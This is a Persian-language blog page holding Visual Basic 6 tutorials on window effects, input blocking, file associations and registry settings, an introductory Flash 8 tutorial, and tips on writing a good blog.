طرز کار : قسمتهای مشکی رنگ فرم رو حذف میکنه به همین سادگی حالا اگه بر حسب اتفاق شما مجبورید که از رنگ مشکی به عنوان پس زمینه فرمتون استفاده کنید باید در اون قسمتی که رنگ پس زمینه فرم تعیین میشه (به کد نگاه کنید) رنگ سفبد رو تعیین کنید یعنی Me.BackColor = RGB (255, 255, 255) به همین سادگی. در واقع این کد رنگی رو که شما تعیین میکنید رو از هر جای فرم حذف میکنه حتی اگه اون رنگ در وسط فرم باشه که در این صورت وسط فرم خالی میشه و هر چیزی که در پشت فرم قرار داره رو میشه از اون سوراخ دید. موفق باشید.


شفاف کردن فرم به صورت شیشه ای و مات

یک پروژه جدید باز کنید و تو قسمت جنرال فرمتون کدهای زیر رو کپی کنید :


Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long

Private Sub Command1_Click()
    Dim Retval As Long
    Retval = GetWindowLong(hWnd, -20)
    Retval = Retval Or 524288
    SetWindowLong hWnd, -20, Retval
    SetLayeredWindowAttributes hWnd, 0, Val(Text1.Text), 2
End Sub

Private Sub Form_Load()
    Text1.Text = 100
    Command1_Click
End Sub

تو TextBox یک عدد از 0 تا 255 وارد کنید و کلید Command1 رو بزنید و شاهد شفاف شدن فرم باشید. فقط توجه داشته باشید که اگه از اعداد پایین مثل 1 استفاده کنید فرمتون تقریباً نامرئی میشه پس بهتون پیشنهاد میکنم تا حد امکان از اعداد بالای 50 استقاده کنید. موفق باشید.


قفل کردن تمام ورودی ها مثل Keyboard و Mouse

این کار با تابع BlockInput انجام میشه و تمام ورودیهای کامپیوتر رو قفل میکنه. توجه داشته باشید که سیستم عامل هنگ نمیکنه و به کار خودش ادامه میده امّا شما نمیتونید هیچ کاری انجام بدید به جز Restart کردن.

یک پروژه جدید باز کنید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :


Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()
    BlockInput True
    Sleep 5000
    BlockInput False
End Sub

به محض شروع برنامه، تمام وروردیها به مدّت 5 ثانیه قفل میشن و بعد از اون دوباره به حالت اول برمیگردن. در اینجا تابع Sleep فقط برای اتلاف وقت به کار رفته و استفاده دیگه ای نداره. موفق باشید.


قرار دادن فرم بر روی تمام پنجره ها (حالت Always On Top برای فرم)

با این کد فرم شما بر روی همه پنجره های قرار میگیره، مانند Windows Task Manager که همیشه رو قرار میگیره.

یک پروزه جدید باز کنید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :


Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const SWP_NOACTIVATE = &H10
Const SWP_SHOWWINDOW = &H40
Private Declare Sub SetWindowPos Lib "User32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)

Private Sub SetTopMost(frm As Form, ByVal blnMod As Boolean)
    If blnMod Then
        SetWindowPos frm.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE
    Else
        SetWindowPos frm.hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE
    End If
End Sub

Private Sub Check1_Click()
    Call SetTopMost(Me, Check1.Value)
End Sub

با علامت دار کردن CheckBox فرم همیشه رو قرار میگیره و با برداشتن علامت فرم به حالت عادی برمیگرده. موفق باشید.


اعمال مشخصه RightToLeft به کنترلهایی که فاقد این مشخصه اند

در این روش شما میتونید به هر کنترلی این مشخصه رو اعمال کنید، حتی کنترلهایی که فاقد این مشخصه هستند مثل DirListBox به صورت از راست به چپ در میان. درضمن اگه با فرمتون اینکارو بکنید میبینید که واقعاً به صورت از راست به چپ درمیاد یعنی دکمه Close، Minimize و Maximize از سمت راست فرم به سمت چپ فرم انتقال پیدا میکنن.

یک پروژه جدید باز کنید و یک DirListBox به فرمتون اضافه کنید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :


Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

Private Sub Form_Load()
    SetWindowLong Me.hWnd, -20, GetWindowLong(Me.hWnd, -20) Or &H400000
    SetWindowLong Dir1.hWnd, -20, GetWindowLong(Dir1.hWnd, -20) Or &H400000
End Sub

حالا برنامه رو اجرا کنید و شاهد تغییراتی که در حالت معمولی غیر ممکن بودن باشید. موفق باشید.


درگ کردن فرم به وسيله يك كنترل (بهترین و مطمئن ترین روش)

اینکار که با توابع API به روش ویندوز انجام میشه، بهترین، مطمئن ترین، ساده ترین و سریع ترین روش برای درگ (Drag) کردنه فرمه. در ضمن در این روش بوسیله یک کنترل هم میشه فرم رو درگ کرد.

یک پروژه جدید باز کنید و توش یک Command Button و یک Label بذارید و کد زیر رو قسمت جنرال فرمتون کپی کنید :


Private Declare Function ReleaseCapture Lib "user32.dll" () As Long
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim lngReturnValue As Long

    If Button = 1 Then
        Call ReleaseCapture
        lngReturnValue = SendMessage(Me.hWnd, &HA1, 2, 0&)
    End If
End Sub

حالا یک بار بوسیله Label و یک بار هم بوسیله Command Button سعی کنید فرمتون رو درگ کنید. اگه بخواید بوسیله Label هم درگ بشه میتونید از کد داخل رویداد Command1_MouseMove برای رویداد Label1_MouseMove استفاده کنید به همین سادگی. موفق باشید.

آموزشهای کاربردی VB


ساعت عقربه ای (آنالوگ)

یک پروژه جدید باز کنید و تو فرمتون یک Timer بذارید و Interval اونو 1000 بذارید، حالا کد زیر رو تو قسمت جنرال فرمتون کپی کنید :


Private Sub Form_Load()
    Me.BackColor = vbBlack
End Sub

Private Sub Timer1_Timer()
    Form1.Refresh
    X = Form1.Width / 2
    Y = Form1.Height / 2.2
    Circle (X, Y), Y - 200, vbWhite
    Circle (X, Y), Y - 220, vbWhite
    For i = 1 To 12
        Circle (X + (Y - 400) * Cos(i * 22 / 42), Y + (Y - 400) * Sin(i * 22 / 42)), 50, vbRed
    Next
    h = Hour(Time())
    If h > 12 Then
        h = h – 12
    End If
    m = Minute(Time())
    s = Second(Time())
    Line (X, Y)-(X + (Y - 600) * Cos((66 / 14 + s * (44 / 420))), Y + (Y - 600) * Sin((66 / 14 + s * (44 / 420)))), vbBlue
    Line (X, Y)-(X + (Y - 800) * Cos((66 / 14 + m * (44 / 420))), Y + (Y - 800) * Sin((66 / 14 + m * (44 / 420)))), vbYellow
    Line (X, Y)-(X + (Y - 1200) * Cos(66 / 14 + h * (44 / 84) + (m / 12) * (44 / 420)), Y + (Y - 1200) * Sin(66 / 14 + h * (44 / 84) + (m / 12) * (44 / 420))), vbWhite
End Sub

حالا برنامه رو اجرا کنید و ببینید که ساعت به چه زیبایی کار میکنه. موفق باشید.


اختصاص پسوند فایلها به برنامه (مبحث مهم)

خوب اول بذارید با یه مقدمه درس رو شروع کنم تا مطلب رو بهتر بگیرید، شما ها همتون خوب میدونید که وقتی روی یک تصویر (Jpeg یا bmp یا GIF و یا غیره) دوبار کلیک می کنید نرم افزار Preview که مخصوص ویندوزه اجرا میشه و تصویر رو نشون میده.

حالا ما میخوایم بدونیم که چطوری این اتفاق میفته؟ یعنی اگه ما بخوایم یک نرم افزار مثل Preview یا Notepad بسازیم که با دوبار کلیک روی فایل، برنامه ما به اجرا در بیاد، باید چه کار کنیم؟

امّا عجله نکنید من برای این مشکل که مبحث مهمّی هم هست یک جواب پیدا کردم ولی یه خواهشی ازتون دارم اگه این آموزش رو تا تهش خوندید و براتون مفید بود حتماً نظر بدید در ضمن، نپرسید که درباره خط فلان یکم توضیح بده. آخه توضیح رو میخوای چه کار؟ کد رو بردار استفاده کن دیگــــــه.

یک پروژه جدید باز کنید و توش یک شئ Image بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :


Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Sub SHChangeNotify Lib "shell32.dll" (ByVal wEventId As Long, ByVal uFlags As Long, dwItem1 As Any, dwItem2 As Any)

Private Sub Form_Load()
    Image1.Stretch = True
    Image1.Move 0, 0, Me.ScaleWidth, Me.ScaleHeight
    '
    RegisterFile ".BMP"
    RegisterFile ".JPG"
    RegisterFile ".GIF"
    RegisterFile ".WMF"
    RegisterFile ".EMF"
    '
    On Error Resume Next
    If Len(Command()) > 0 Then
        Image1.Picture = LoadPicture(FixPath(Command()))
    End If
End Sub

Private Sub RegisterFile(strPasvand As String)
    Dim sKeyName As String   ' Holds Key Name in registry.
    Dim sKeyValue As String  ' Holds Key Value in registry.
    Dim ret&           ' Holds error status if any from API calls.
    Dim lphKey&        ' Holds  key handle from RegCreateKey.
    Dim path As String
   
    path = App.path
    If Right(path, 1) <> "\" Then
       path = path & "\"
    End If
   
    ' This creates a Root entry called "PicturePreview".
    sKeyName = "PicturePreview" ' Project Name
    sKeyValue = "Picture"
    ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)
    ret& = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&)
   
    ' This creates a Root entry called .BMP;.JPG;.GIF;.WMF associated with "PicturePreview".
    sKeyName = strPasvand
    sKeyValue = "PicturePreview" ' Project Name
    ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)
    ret& = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&)
   
    ' This sets the command line for "PicturePreview".
    sKeyName = "PicturePreview" ' Project Name
    sKeyValue = path & App.EXEName & ".exe %1"
    ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)
    ret& = RegSetValue&(lphKey&, "shell\open\command", REG_SZ, sKeyValue, MAX_PATH)
   
    ' This sets the icon for the file extension
    sKeyName = "PicturePreview" ' Project Name
    sKeyValue = path & "MyIcon.ico"
    ret& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, lphKey&)
    ret& = RegSetValue&(lphKey&, "DefaultIcon", REG_SZ, sKeyValue, MAX_PATH)
   
    ' This notifies the shell that the icon has changed
    SHChangeNotify SHCNE_ASSOCCHANGED, SHCNF_IDLIST, 0, 0
End Sub

Public Function FixPath(strPath As String) As String
    Dim strTemp As String
    strTemp = strPath
    strChar = """"
    If Len(strTemp) > 0 Then
        If Mid(strTemp, 1, 1) = strChar Then strTemp = Right(strTemp, Len(strTemp) - 1)
        If Mid(strTemp, Len(strTemp), 1) = strChar Then strTemp = Left(strTemp, Len(strTemp) - 1)
    End If
    FixPath = strTemp
End Function

خوب حالا از برنامتون یک فایل اجرایی (.exe) بسازید و همچنین یک آیکون که بیانگر فایلهای تصویری باشه با نام MyIcon.ico کنار فایل اجرایی که ساختبد قرار بدید.

توجّه : این آیکون (MyIcon.ico) همیشه بایددر کنار  فایل اجرایی برنامتون باشه، در غیر اینصورت شکل فایلهای تصویری که قراره با برنامه شما باز بشن به شکل فایلهای ناشناخته در میاد.

نکته : برنامه حداقل باید یک بار اجرا بشه تا تاثیراتش رو روی ویندوز و فایل های تصویری بذاره.

بعد از یک بار اجرا کردن و بستن برنامه، برید روی یکی از عکسهاتون دابل کلیک کنید که دو حالت پیش میاد : 1- برنامه شما اجرا میشه و عکس رو نشون میده.  2- کادر محاوره ای Open with... باز میشه و از شما میخواد که برنامه مورد نظرتون رو برای نمایش عکس انتخاب کنید؛ حالا کاری که شما باید بکنید اینه که به آدرس برنامتون برید و برنامه خودتونو برای نمایش عکس انتخاب کنید تا از این به بعد همیشه عکسها با برنامه شما باز بشن.

شما میتونید اینکارو برای پسوند هر فایلی انجام بدید، مثلاً میتونید پسوند .txt رو تعریف کنید و با گذاشتن یک TextBox تو فزمتون یک برنامه Notepad بسازید. به همین سادگی. موفق باشید.


ثبت تنظیمات و اطّلاعات برنامه در رجیستری (کاربردی)

خب اوّل یک مثال میزنم و بعد میرم سره آموزش تا بهتر یاد بگیرید.

یک پروژه جدید باز کنید و یک Command Button و یک TextBox بذارید تو فرمتون و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :


Private Sub Command1_Click()
    SaveSetting App.Title, "Setting", "Value", Text1.Text
End Sub

Private Sub Form_Load()
    Text1.Text = GetSetting(App.Title, "Setting", "Value", "Hello")
End Sub

برنامه رو اجرا کنید و هر چی دلتون میخواد تو TextBox وارد کنید و بعد کلید Command1 رو بزنید و از برنامه خارج بشید. حالا اگه دوباره برنامه رو اجرا کنید میبینید متنی که دفعه قبل وارد کرده بودید سره جاشه و پاک نشده !

حالا بریم سره آموزش :

دستوات SeveSetting ، GetSetting ، DeleteSetting و GetAllSettings از توابع خود ویژوال بیسیک هستند و نیازی به فراخوانی اونا نیست. طرز کار این دستورات خیلی ساده ست، این دستورات فقط برای ثبت و بازیابی تنظیمات استفاده میشن و هیچ کار دیگه ای انجام نمیدن، در واقع محدوده عملیات این دستورات در رجیستری محدود به این آدرس است :

HKEY_CURRENT_USER\Software\VB and VBA Program Settings\نام برنامه\عملیات\اطّلاعات

یعنی شما با این دستوات نمیتونید به بخشهای دیگه رجیستری دسترسی داشته باشید. شکل کلّی این دستورات به صورت زیره :

Sub SaveSetting(AppName As String, Section As String, Key As String, Setting As String)
Function GetSetting(AppName As String, Section As String, Key As String, [Default]) As String
Function GetAllSettings(AppName As String, Section As String)
Sub DeleteSetting(AppName As String, [Section], [Key])

SevaSetting : این دستور بسیار ساده ست فکر کنم با توضیحات بالا دیگه نیازی به آموزش نیست، ببینید در واقع این دستور اولین کاری که میکنه، یک پوشه که بیانگر نام برنامه ست (AppName) در آدرسی که گفتم میسازه. بعدش میره سراغ پوشه بعدی (Section) یعنی عملیاتی که قراره انجام بدیم مثلاً اگر قراره که موقعیّت فرم رو ذخیره کنیم بهترین نامی که میتونیم برای این عملیات بذاریم Position است و بعد از اون هم کلید یا همون مقداری که باید ذخیره بشه مثل Top. به دستور زیر توجّه کنید :

SaveSetting "Project1", "Position", "Top", Me.Top

دستور فوق باعث ساخته شدن آدرس زیر میشه (قسمت پر رنگ) :

HKEY_CURRENT_USER\Software\VB and VBA Program Settings\Project1\Position\

که در اون آدرس هم، کلید یا همون فایل Top قرار داره که حاوی یک عدد است (موقعیّت بالای فرم). به این ترتیب ما تونستیم با این دستور اطّلاعاتی (موقعیّت قرم) رو در رجیستری ذخیره کنیم. حالا برای بدست آودرن این اطّلاعات باید از دستور GetSetting استفاده کنیم.

GetSetting : این دستور هم خیلی ساده ست. شما باید آدرس و کلید مورد نظرتون رو تعیین کنید تا این تابع مقدار کلید رو برگردونه. به دستور زیر توجّه کنید :

Me.Top = GetSetting("Project1", "Position", "Top", "2000")

دستور فوق اطلاعات داخله فایله Top رو برمیگردونه و به فرم انتصاب میده. امّا اون عدد 2000 چیه؟ خب باید بگم که اون مقدار پیش فرضه تا اگه کلید Top در مسیر داده شده وجود نداشت و نتونست مقداری رو برگردونه، از مقدار پیش فرض استفاده کنه تا دچار خطا نشه، اگه از این دستور در برنامه استفاده کنید و کلیدی رو که تعیین کردید یافت نشه مثل زمانی که برای اولین بار برنامه رو اجرا میکنید، با پیغام خطا روبرو خواهید شد.

DeleteSetting : این دستور برای پاک کردنه یک کلید (فایل) یا پوشه از مسیر داده شده ست. به عنوان مثال اگه شما بخواید کلید Top رو پاک کنید باید از دستور زیر استفاده کنید :

    DeleteSetting "Project1", "Position", "Top"

در دستور بالا کلید Top حذف میشه و اگه کلید Top رو تعیین نکنیم (DeleteSetting "Project1", "Position") پوشه Position پاک میشه و اگه پوشه Position رو هم تعیین نکنیم (DeleteSetting "Project1") پوشه Project1 حذف میشه. و مسلّماً در صورتی که فایل یا پوشه یافت نشه با پیغام خطا مواجه میشید. تا اینجا که خیلی ساده امّا تابع GetAllSettings کمی فرق میکنه.

GetAllSettings : این دستور کمی با دستورات قبلی تفاوت داره. اول با یک مثال شروع میکنم :


Private Sub Form_Load()
    Me.AutoRedraw = True
    Dim MySettings As Variant, intSettings As Integer
   
    SaveSetting "MyApp", "Startup", "Number1", 50
    SaveSetting "MyApp", "Startup", "Number2", 22
    SaveSetting "MyApp", "Startup", "Number3", 36
    SaveSetting "MyApp", "Startup", "Number4", 197
    SaveSetting "MyApp", "Startup", "FName", "Amir"
    SaveSetting "MyApp", "Startup", "LName", "Amiri"
    SaveSetting "MyApp", "Startup", "Message", "Hello My Friend"
   
    MySettings = GetAllSettings(appname:="MyApp", section:="Startup")
   
    For intSettings = LBound(MySettings, 1) To UBound(MySettings, 1)
        Print MySettings(intSettings, 0) & "   =   " & MySettings(intSettings, 1)
    Next intSettings
       
    DeleteSetting "MyApp"
End Sub


 

+ نوشته شده در  پنجشنبه دوم اسفند 1386ساعت 16:44  توسط حامد  | 

سلام به دوستان گرامی
در این بخش سعی میشه Flash 8 به زبان ساده (قابل فهم) آموزش داده بشه در ضمن مطالبی که در این بخش می‌آید برگرفته شده از Ninijapoli، اینترنت و تجارب دوستان هست

HyperText Transfer Protocol

مقدمه - 03-31-2007, 09:39 PM


مقدمه:
وب که بخشی از اینترنت است، کاملا به صورت دیداری می‌باشد و توانسته است با استفاه از تصاویر ثابت و متحرک توجه زیادی را به خود جلب کند. زمانی که یک صفحه‌ی وب را مشاهده می‌کنید هزاران ایده‌ی مختلف درباره‌ی این که چگونه یک سایت جالب و پویا را خلق کنید، در ذهنتان شکل می‌گیرد؛ در این بین یکی از مهم‌ترین مسائلی که در ایجاد و استفاده‌ی یک تصویر متحرک باید در نظر گرفته شود این است که چگونه یک تصویر با کیفیت و در عین حال کم حجم را می‌توان ساخت.

برای ایجاد تصاویر متحرک نرم‌افزارهای مختلفی ساخته شده است که هر کدام قابلیت‌های زیادی در ساخت فیلم‌ها دارند. برخی از این نرم‌افزارها عبارتند از : 3D Studio Max, Swish, ImageReady, Maya, FireWorks, Macromedia Flash و ... . برخی از این نرم‌افزارهای اصلا مناسب وب نیستند (مثل Maya و 3Ds Max) اما برخی دیگر مانند Flash یا ImageReady به نوعی مختص کارهای وب ساخته شده‌اند و ما در این بخش سعی بر این داریم که نرم‌افزار محبوب و قوی Flash را که چند وقتی است Macromedia آن را به Adobe واگذار کرده است، را آموزش دهیم.

ویژگی‌های نرم‌افزار Flash
نرم‌افزار فلش برای ایجاد تصاویر و پویانمایی‌های وب به کار می‌رود. این تصاویر از نوع برداری بوده و به دلیل کم حجم بودن برای انتقال در وب بسیار مناسب هستند.
فلش در نسخه‌های ابتدایی تنها قابلیت ایجاد تصاویر برداری را داشت. در نسخه‌های جدید امکانات پیشرفته‌ای مانند پویانمایی، صوت و کدنویسی در این نرم‌افزار اضافه شد.
پیش فرض آشنایی با محیط نرم‌افزار - 04-01-2007, 01:22 PM
آشنایی با محیط نرم‌افزار

مراحل نصب نرم‌افزار فلش مشابه سایر نرم‌افزارهاست و پس از نصب، می‌توانید برنامه را از طریق میانبر مربوط اجرا کنید. از صفحه‌ای که باز می‌شود (در بخش Create New) گزینه‌ی Flash Document را انتخاب کنید تا فلش سند جدیدی را برایتان باز کند.






در بخش Create From Template نیز می‌توانید از یک سری از فایلهای آماده که توسط ماکرومدیا ایجاد شده‌اند، استفاده یا سوء استفاده کنید.

محیط کاری
محیط کاری یا Stage ناحیه‌ای است که می‌توانید اشکال، خطوط، متون، تصاویر و فیلم‌های خود را در آن ایجاد کنید. محیط کاری توسط ناحیه‌ی خاکستری رنگی که فضای کاری (Workspace) می‌باشد احاطه شده است. اشیایی که در فضای کاری قرار می‌گیرند در خروجی دیده نمی‌شوند، مگر آن که به محیط کاری منتقل شوند. ضرورت استفاده از فضای کاری زمانی احساس می‌شود که می‌خواهید در یک فیلم فلش یک شی‌ء از بیرون به داخل محیط کاری وارد شود یا بالعکس.





خط زمان
خط زمان (Timeline) یکی از ابزارهای مهم در فلش است که به کمک آن می‌توان مراحل ساخت فیلم در فلش را کنترل کرد. یک فیلم فلش مجموعه‌ای از فریم‌هاست (به اون قاب یا Frame هم گفته می‌شه) که به طور متوالی و پشت سر هم اجرا می‌شوند. هر فریم نشان‌دهنده‌ی چشم‌اندازی از فیلم است که در یک لحظه‌ی زمانی نمایش داده می‌شود.





هد نمایش: برای مشاهده‌ی محتویات قاب دلخواه کافی است به کمک اشاره‌گر ماوس آن را روی قاب مورد‌نظر منتقل کنید.

شماره‌ی قاب: شما را راهنمایی می‌کند که تا به راحتی بتوانید شی‌ء خود را در قاب مورد نظر قرار دهید.

قاب جاری: قابی است که هد نمایش در آن قرار دارد.

درجه‌ی نرخ نمایش قاب: تعداد قاب‌های نمایش داده شده در یک ثانیه را بر حسب FPS یا Frame Per Second نمایش می‌دهد در ضمن به طور پیش‌فرض در فیلم‌های فلش هر 12 فریم در یک ثانیه نمایش داده می‌شود. با دابل کلیک کردن بر روی این بخش می‌توانید مقدار را به عدد دلخواه تغییر دهید. بالا بردن این عدد سبب سریع‌تر پخش‌شدن انیمیشن می‌شود.

نوار لغزان: به کمک این ابزار می‌توانید قاب‌ها و یا لایه‌های قبلی و بعدی را مشاهده کنید.

زمان گذشت اجرا: زمان سپری شده (تا مکان هد نمایش) در این بخش مشخص می‌شود. این بخش رابطه‌ای مستقیم با "درجه‌ی نرخ نمایش قاب" دارد. به عنوان مثال اگر "درجه‌ی نرخ نمایش قاب" شما 12 باشد با قرار گرفتن هد نمایش در فریم 13 کادر "زمان گذشت اجرا" عدد 1.0s را نمایش می‌دهد.

معادل کلمات بالا به ترتیب:


Playhead - Frame Number - Current Frame - Frame Rate - Playback time

توضیحات اضافه:
در هنگام توليد يک فيلم در محيط فلش، مشاهده نحوه جابجايي آبجکت‌ها بين فريم‌ها مشکل است. در حالت کلي در هر بار، فقط يک فريم را می‌توانید مشاهده کنید در نتیجه تحليل مسير حرکتي آن براي شما مشکل می‌شود؛ استفاده از Onion Skin (که در کنار قاب جاری در خط زمان قرار دارد) اين اشکال را بر طرف مي کند. اين اصطلاح از انيميشن‌سازي سنتي گرفته شده است و همانطورکه در روش سنتي آبجکت‌ها بر روي کاغذ نازک پوستي (پوست پيازي) رسم مي شد و امکان ديدن فريم‌هاي مختلف وجود داشت فلش نيز به شما اجازه مي‌دهد، تا فيلم خود را به همان شکل مشاهده کنيد.




نمونه‌ای از Onion Skin
در استفاده از Onion Skin دو حالت وجود دارد:
1. مد استاندارد ديد پوست پيازي (Onion Skin View) که در آن تصاوير به‌صورت پيوسته درحالي که از فريم جاري دور مي‌شوند، مشاهده مي‌گردند.

2. Onion Skin Outlines که موضوعات را تنها به‌صورت خطوط محيطي مي‌بينيد، از اين نوع ديد براي ديدن موضوعهايي که در موقع کار با لايه‌هاي چند گانه حرکت نمي‌کنند و نياز به انطباق و تنظيم دارند، استفاده مي‌شود.

گزینه‌ی Edit Multiple Frames شما را قادر مي‌سازد تا هر قسمت از يک انيميشن را که بر فريم‌هاي مختلف تقسيم شده است، ويرايش کنيد. گزینه‌ی Modify Onion Markers نیز منويي را نمايش مي‌دهد که توسط آن شما مي‌توانيد تعداد فريم‌هاي دلخواه را در Onion Skin View نمايش دهيد.

------------------------------

قاب‌ها در ابزار خط زمان (Timeline) داخل ستون‌هایی که با فواصل 5 واحدی از چپ به راست شماره‌گذاری شده‌اند، قرار می‌گیرند. به طور کلی در فلش دو نوع قاب وجود دارد:
  1. قاب معمولی (Ordinary Frame)
  2. قاب کلیدی (Key Frame)
اما تفاوت‌ها و شباهت‌های این دو نوع قاب چیست؟
√ در زمان اجرای فیلم کلیه‌ی قاب‌ها اعم از کلیدی و معمولی به مدت یکسان اجرا می‌شوند.
√ شما می‌توانید اشیای مختلف را فقط به قاب‌های کلیدی اضافه کنید.
√ فلش قادر است که به قاب معمولی اشیایی را اضافه کند. در صورتی که مستقیما اشیایی را به این قاب وارد کنید به قاب کلیدی تبدیل خواهد شد.


زمانی که نرم‌افزار فلش را باز می‌کنیم به طور خودکار یک قاب کلیدی خالی در ستون اول خط زمان قرار می‌گیرد که می‌توانیم اشکال دلخواه خود را در آن قاب رسم کنیم. در صورتی که بخواهیم قاب کلید دیگری را به خط زمان اضافه کنیم کافی است اشاره‌گر ماوس را در ستون مورد‌نظر قرار داده و فرمان Insert → Timeline → KeyFrame را اجرا کنیم (از دکمه‌ی F6 هم می‌توان استفاده کرد). این گزینه‌ی یک قاب جدید به همراه یک کپی از محتویات قاب قبلی در ستون مشخص شده از خط زمان ایجاد می‌کند. اما اگر بخواهیم که حتما قاب کلیدی جدید خالی باشد از منوی باز شده گزینه‌ی Blank KeyFrame را انتخاب می‌کنیم (از دکمه‌ی F7 هم می‌توان استفاده کرد). در صورتی که بخواهیم یک یا چند قاب معمولی را به خط زمان اضافه کنیم کافی است از منوی باز شده گزینه‌ی Frame (و یا دکمه‌ی F5) را انتخاب کنید.


انواع قاب‌های فلش
قاب‌های کلیدی به صورت یک دایره در خط زمان قرار می‌گیرند. اگر دایره تو خالی باشد به معنی آن است که قاب کلیدی ما خالی است (Blank Keyframe) و اگر نقطه توپر باشد، قاب کلیدی حداقل دارای یک شی‌ء است. برای حذف یک قاب از خط زمان روی آن راست کلیک کرده و از منوی باز شده گزینه‌ی Remove Frame را انتخاب کنید. در صورتی که بخواهید فقط محتویات قاب را پاک کنید کافی است از منوی باز شده گزینه‌ی Clear Frame را انتخاب کنید.

جعبه‌ابزار
جعبه‌ابزار که در قسمت چپ نرم‌افزار فلش قرار دارد، دارای ابزارهایی برای ایجاد، ویرایش و تغییر موقعیت متن، ترسیمات و ... است. اکثر کسانی که با فتوشاپ یا کرل کار کرده‌اند می‌توانند به راحتی با این قسمت نرم‌افزار فلش ارتباط بر قرار کنند؛ حتی شما می‌توانید با کمی کار کردن با این ابزارها، نحوه‌ی عملکرد آنها را مشاهده کنید اما توضیح آنها خالی از لطف نیست.


1. برای انتخاب شی‌ء طراحی شده در نرم‌افزار، از این ابزار استفاده می‌کنیم. نام این ابزار Selection Tool و کلید میانبر آن V می‌باشد.

2. Free Transform Tool با میانبر Q، یکی از اصلی‌ترین ابزارهای فلش برای تغییر شکل ابعاد یک شی‌ء به صورت دستی می‌باشد.

3. به کمک این ابزار یعنی Line Tool می‌توان یک خط مستقیم از یک نقطه به نقطه‌ی دیگر رسم کرد. کلید میانبر این ابزار N می‌باشد.

4. Pen Tool ابزاری برای ترسیم دقیق پاره خط‌های مستقیم و یا منحنی می‌باشد. برای ایجاد نقاط روی پاره خط‌های مستقیم باید در محل مورد نظر از خط کلیک کنیم و برای ایجاد نقاط روی پاره خط‌های منحنی باید بعد از کلیک در محل مورد‌نظر، آن را به کمک اشاره‌گر ماوس کشید. کلید میانبر = P

5. همانطور که از شکل ابزار می‌توان حدس زد این ابزار برای کشیدن دایره یا بیضی مورد استفاده قرار می گیرد. اگر هنگام استفاده از این ابزار Shift را نگه دارید، هیچ وقت نمی‌توانید بیضی بکشید و فقط مجاز به کشیدن دایره می‌شوید. کلید میانبر این ابزار O است.

6. از این ابزار نیز برای کشیدن خط استفاده می‌کنیم.

نکته:
دکمه‌ی Shift متناسب با ابزار انتخاب شده، عمل خاصی و مختلفی را انجام می‌دهد.


+ نوشته شده در  پنجشنبه دوم اسفند 1386ساعت 13:32  توسط حامد  | 

هيچ قانون سخت و قاطعي براي بوجود آوردن يك وبلاگ وجود ندارد. با رعايت چند نكته وبلاگ نويسان مي توانند ميزان مقبوليت وبلاگ خود را افزايش دهند.

 

به موضوع اهميت دهيد.

در يك وبلاگ موضوعات مختلفي مي تواند وجود داشته باشد ولي مطالب موجود در هر شاخه بايد متناسب با يك موضوع مشخص باشد. بازديد كنندگان وبلاگ شما وقتي وارد شاخه مورد علاقه خود مي شوند دوست دارند مطلبي متناسب با موضوع كه مورد پسند آنها قرار گرفته است پيدا كنند پس آنها را نااميد نكنيد. بيشتر خوانندگان وبلاگ علاقه اي به دانستن اينكه مثلاً شما براي صبحانه چه خورده ايد ندارند! اگر چه ممكن است براي آنها ميزان كالري يك صبحانه معمول جالب باشد. يك موضوع براي وبلاگ خود تعيين كنيد و به آن بچسبيد! در اين صورت مي توانيد مطمئن باشيد كه افرادي علاقه مند به موضوع انتخابي وجود دارند كه دوباره به وبلاگ شما سر مي زنند. چون شما همان چيزي را فراهم مي كنيد كه انها مي خواهند.

وبلاگ خود را آموزنده نگه داريد

